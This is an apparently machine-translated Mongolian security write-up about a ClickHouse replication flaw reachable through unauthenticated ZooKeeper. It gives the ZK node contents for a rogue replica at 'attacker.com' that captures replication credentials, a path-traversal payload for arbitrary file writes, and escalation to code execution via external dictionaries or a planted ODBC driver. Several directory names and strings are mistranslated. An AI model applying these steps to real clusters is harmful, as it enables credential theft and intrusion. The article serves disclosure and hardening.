Та яагаад амьтны хүрээлэнгийн торыг хаалттай байлгах хэрэгтэй байна вэ?

Та яагаад амьтны хүрээлэнгийн торыг хаалттай байлгах хэрэгтэй байна вэ?

Энэ нийтлэл нь ClickHouse хуулбарлах протокол дахь маш тодорхой эмзэг байдлын түүхийг өгүүлэх бөгөөд халдлагын гадаргууг хэрхэн өргөжүүлэхийг харуулах болно.

ClickHouse нь ихэвчлэн нэгээс олон хуулбарыг ашигладаг их хэмжээний өгөгдөл хадгалах мэдээллийн сан юм. ClickHouse дахь бөөгнөрөл болон хуулбарыг дээр нь суулгасан Apache ZooKeeper (ZK) ба бичих эрхийг шаарддаг.

Анхдагч ZK суулгац нь баталгаажуулалт шаарддаггүй тул Kafka, Hadoop, ClickHouse-г тохируулахад ашигладаг олон мянган ZK серверүүд нийтэд нээлттэй.

Довтолгооны гадаргууг багасгахын тулд ZooKeeper-г суулгахдаа гэрчлэл болон зөвшөөрлийг үргэлж тохируулах хэрэгтэй.

Мэдээжийн хэрэг Java-г 0-хоногт суулгасан сериачилалууд байдаг, гэхдээ халдагч нь ClickHouse хуулбарлахад ашигладаг ZooKeeper програмыг уншиж, бичиж чадна гэж төсөөлөөд үз дээ.

Кластер горимд тохируулагдсан үед ClickHouse нь тархсан асуулгыг дэмждэг DDL, ZK-ээр дамжин өнгөрөх - тэдгээрийн хувьд зангилаанууд нь хуудсанд үүсгэгддэг /clickhouse/task_queue/ddl.

Жишээлбэл, та зангилаа үүсгэдэг /clickhouse/task_queue/ddl/query-0001 агуулгатай:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

Үүний дараа хост1 болон хост2 кластер серверүүд дээрх тестийн хүснэгтийг устгах болно. DDL нь CREATE/ALTER/DROP асуулга ажиллуулахыг дэмждэг.

Аймшигтай сонсогдож байна уу? Гэхдээ халдагч серверийн хаягийг хаанаас авах вэ?

ClickHouse хуулбар нь бие даасан хүснэгтүүдийн түвшинд ажилладаг тул ZK-д хүснэгт үүсгэх үед мета өгөгдлийг хуулбартай солилцох үүрэгтэй серверийг зааж өгсөн болно. Жишээлбэл, хүсэлтийг гүйцэтгэх үед (ZK тохируулагдсан байх ёстой, chXX - хуулбарын нэр, foobar - хүснэгтийн нэр):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

зангилаа үүсэх болно багана и Мета өгөгдөл.

Агуулга /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Энэ кластераас өгөгдлийг нэгтгэх боломжтой юу? Тийм, хэрэв хуулбарлах порт (TCP/9009) сервер дээр chXX-address галт хана хаагдахгүй бөгөөд хуулбарлах нэвтрэлт танилтыг тохируулахгүй. Баталгаажуулалтыг хэрхэн тойрч гарах вэ?

Халдагчид ZK-ийн агуулгыг хуулж авснаар шинэ хуулбар үүсгэж болно /clickhouse/tables/01-01/foobar/replicas/chXX мөн утгыг өөрчлөх host.

Агуулга /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Дараа нь та бусад хуулбаруудад халдагчийн сервер дээр авах шаардлагатай мэдээллийн шинэ блок байгааг хэлэх хэрэгтэй - ZK-д зангилаа үүссэн. /clickhouse/tables/01-01/foobar/log/log-00000000XX (ХХ монотон өсөн нэмэгдэж буй тоолуур, энэ нь үйл явдлын бүртгэлийн сүүлийн тооноос их байх ёстой):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

хаана эх_хуулбар - өмнөх алхамд үүсгэсэн халдагчийн хуулбарын нэр, block_id - өгөгдлийн блок танигч, авах - "блок авах" команд (болон энд бусад үйлдлийн командууд байна).

Дараа нь хуулбар бүр бүртгэл дэх шинэ үйл явдлыг уншиж, өгөгдлийн блок хүлээн авахын тулд халдагчийн удирддаг сервер рүү очдог (хуулбарлах протокол нь HTTP дээр ажилладаг хоёртын хувилбар юм). Сервер attacker.com хүсэлтийг хүлээн авах болно:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

Энд XXX нь хуулбарлахад зориулсан баталгаажуулалтын өгөгдөл юм. Зарим тохиолдолд энэ нь үндсэн ClickHouse протокол болон HTTP протоколоор дамжуулан мэдээллийн санд хандах боломжтой данс байж болно. Таны харж байгаагаар хуулбарлахад ашигладаг ZooKeeper-г баталгаажуулалт хийлгүйгээр орхисон тул халдлагын гадаргуу маш том болсон.

Хуулбараас өгөгдлийн блок авах функцийг харцгаая, энэ нь бүх хуулбарууд зохих хяналтанд байгаа бөгөөд тэдгээрийн хооронд итгэлцэл байдаг гэдэгт бүрэн итгэлтэйгээр бичигдсэн байдаг.

Та яагаад амьтны хүрээлэнгийн торыг хаалттай байлгах хэрэгтэй байна вэ?
хуулбарлах боловсруулах код

Функц нь файлуудын жагсаалтыг уншиж, дараа нь тэдгээрийн нэр, хэмжээ, агуулгыг уншиж, дараа нь файлын системд бичдэг. Файлын системд өгөгдөл хэрхэн хадгалагдаж байгааг тусад нь тайлбарлах нь зүйтэй.

Хэд хэдэн дэд лавлахууд байдаг /var/lib/clickhouse (тохируулгын файлаас анхдагч хадгалах сан):

тугнууд - бичлэг хийх лавлах тугнууд, өгөгдөл алдагдсаны дараа сэргээхэд ашигладаг;
ТМП - түр зуурын файлуудыг хадгалах лавлах;
хэрэглэгчийн_файлууд - хүсэлт доторх файлуудтай хийх үйлдлүүд нь энэ директорт хязгаарлагддаг (INTO OUTFILE болон бусад);
Мета өгөгдөл — хүснэгтийн тайлбар бүхий sql файлууд;
урьдчилан боловсруулсан_тохиргоо -аас боловсруулсан дериватив тохиргооны файлууд /etc/clickhouse-server;
мэдээ - өгөгдлийн сантай бодит лавлах, энэ тохиолдолд мэдээллийн сан бүрийн хувьд тусдаа дэд санг энд үүсгэсэн болно (жишээ нь /var/lib/clickhouse/data/default).

Хүснэгт бүрийн хувьд өгөгдлийн сангийн лавлахад дэд лавлах үүсгэнэ. Багана бүр нь тусдаа файл юм хөдөлгүүрийн формат. Жишээлбэл, ширээний хувьд foobarхалдагч үүсгэсэн тохиолдолд дараах файлууд үүснэ:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Хуулбар нь өгөгдлийн блокыг боловсруулахдаа ижил нэртэй файлуудыг хүлээн авахыг хүлээж байгаа бөгөөд тэдгээрийг ямар ч байдлаар баталгаажуулдаггүй.

Анхааралтай уншигч функц доторх файлын нэрийн аюулгүй холболтын талаар аль хэдийн сонссон байх WriteBufferFromFile. Тийм ээ, энэ нь халдагчид хэрэглэгчийн эрх бүхий FS дээрх дурын файлд дурын контент бичих боломжийг олгодог clickhouse. Үүнийг хийхийн тулд халдагчийн удирддаг хуулбар нь хүсэлтэд дараах хариуг өгөх ёстой (ойлгоход хялбар болгох үүднээс мөрийн завсарлага нэмсэн):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ба холболтын дараа ../../../../../../../../../tmp/pwned файл бичигдэх болно /tmp/pwned агуулгатай Сайн уу амьтны хүрээлэнгийн ажилтан.

Файл бичих чадварыг алсаас код гүйцэтгэх (RCE) болгон хувиргах хэд хэдэн сонголт байдаг.

RCE дахь гадаад толь бичгүүд

Хуучин хувилбаруудад ClickHouse тохиргоо бүхий лавлахыг хэрэглэгчийн эрхээр хадгалдаг байсан clickhouse анхдагч. Тохиргооны файлууд нь үйлчилгээ эхлүүлэх үед уншиж, дараа нь кэш хийдэг XML файлууд юм /var/lib/clickhouse/preprocessed_configs. Өөрчлөлт гарсан тохиолдолд тэдгээрийг дахин уншина. Хэрэв танд хандах боломжтой бол /etc/clickhouse-server халдагч өөрөө өөрийгөө үүсгэж болно гадаад толь бичиг executable type болон дараа нь дурын кодыг ажиллуулна. ClickHouse-ийн одоогийн хувилбарууд нь анхдагч байдлаар эрх өгдөггүй, гэхдээ сервер аажмаар шинэчлэгдсэн бол ийм эрхүүд хэвээр үлдэж магадгүй юм. Хэрэв та ClickHouse кластерийг дэмжиж байгаа бол тохиргооны лавлах эрхийг шалгана уу, энэ нь хэрэглэгчийнх байх ёстой. root.

ODBC-ээс RCE хүртэл

Багцыг суулгах үед хэрэглэгч үүсдэг clickhouse, гэхдээ түүний гэрийн лавлах үүсгэгдээгүй байна /nonexistent. Гэхдээ гадны толь бичгүүдийг ашиглах үед эсвэл бусад шалтгааны улмаас администраторууд лавлах үүсгэдэг /nonexistent мөн хэрэглэгчдэд өгнө clickhouse түүнд бичих эрх (SSZB! ойролцоогоор. орчуулагч).

ClickHouse дэмждэг ODBC болон бусад мэдээллийн сантай холбогдох боломжтой. ODBC-д та өгөгдлийн сангийн драйвер номын сан руу (.so) хүрэх замыг зааж өгч болно. ClickHouse-ийн хуучин хувилбарууд нь хүсэлт гаргагч дээр үүнийг шууд хийх боломжийг олгосон боловч одоо холболтын мөрийг илүү хатуу шалгах боломжтой болсон. odbc-bridge, тиймээс хүсэлтээс жолоочийн замыг зааж өгөх боломжгүй болсон. Гэхдээ халдагчид дээр дурдсан эмзэг байдлыг ашиглан гэрийн лавлах руу бичиж чадах уу?

Файл үүсгэцгээе ~/.odbc.ini ийм агуулгатай:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

дараа нь эхлүүлэх үед SELECT * FROM odbc('DSN=lalala', 'test', 'test'); номын сан ачаалагдах болно test.so мөн RCE хүлээн авсан (баярлалаа buglloc үзүүрийн хувьд).

Эдгээр болон бусад эмзэг байдлыг ClickHouse 19.14.3 хувилбар дээр зассан. ClickHouse болон ZooKeeper-ууддаа анхаарал тавь!

Эх сурвалж: www.habr.com

сэтгэгдэл нэмэх